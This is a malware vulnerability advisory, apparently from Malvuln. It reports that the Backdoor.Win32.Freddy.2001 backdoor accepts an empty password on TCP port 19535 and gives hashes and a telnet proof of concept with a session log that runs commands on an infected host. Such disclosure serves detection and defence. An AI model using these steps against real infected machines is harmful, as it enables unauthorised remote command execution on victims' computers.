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Backdoor.Win32.Freddy.2001 MVID-2022-0486 Authentication Bypass / Command Execution

Backdoor.Win32.Freddy.2001 MVID-2022-0486 Authentication Bypass / Command Execution
Posted Feb 9, 2022
Authored by malvuln | Site malvuln.com

Backdoor.Win32.Freddy.2001 malware suffers from authentication bypass and remote command execution vulnerabilities.

tags | exploit, remote, vulnerability
systems | windows
SHA-256 | ae40a2e3e2be6a88e4c00022156923fe7885829a0b79aa06eb09b0fa94406799

Backdoor.Win32.Freddy.2001 MVID-2022-0486 Authentication Bypass / Command Execution

Change Mirror Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/434923afc32a7bc7355ed9a5224b9273.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Freddy.2001
Vulnerability: Authentication Bypass Command Execution
Description: The malware listens on TCP port 19535. Third-party intruders who can reach an infected host can gain access using an empty password and run commands made available by the backdoor using TELNET.
Type: PE32
MD5: 434923afc32a7bc7355ed9a5224b9273
Vuln ID: MVID-2022-0486
Dropped files: sycon2.exe
Disclosure: 02/08/2022

Exploit/PoC:
#Note: use TELNET

telnet.exe x.x.x.x 19535

Enter password:

User: Victim
Computer net name: DESKTOP-2C3JQHO
IP address: 192.168.18.129
Local date & time: 2/3/2022 2:45:46 AM
Hackers connected: 2
$y(0n v.2.3.2 by Meerkat Systems | NLG
Sycon>
Sycon> windows
Window 6976: dump
Window 6976: tmp
Window 1956: Administrator: Administrator Command Prompt
Window 6976: Program Manager
Sycon> cd \
CD: C:\
Sycon> dir
Found: $Recycle.Bin
Found: Boot
Found: bootmgr
Found: BOOTNXT
etc...
Sycon> exec calc
Executing...
Sycon> logoff
Windows is going down...
I'm killed!
Sycon>


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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